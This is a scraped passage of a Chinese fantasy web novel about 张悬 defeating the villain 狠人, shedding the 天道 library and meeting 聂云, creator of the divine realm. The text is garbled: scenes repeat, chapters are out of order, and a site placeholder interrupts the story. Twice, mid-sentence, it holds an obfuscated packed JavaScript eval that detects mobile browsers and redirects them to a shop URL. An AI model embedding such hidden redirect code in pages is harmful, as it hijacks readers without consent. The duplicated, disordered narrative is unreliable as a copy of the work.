…… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546010|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第38章阿卿,我们…该回家成婚了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 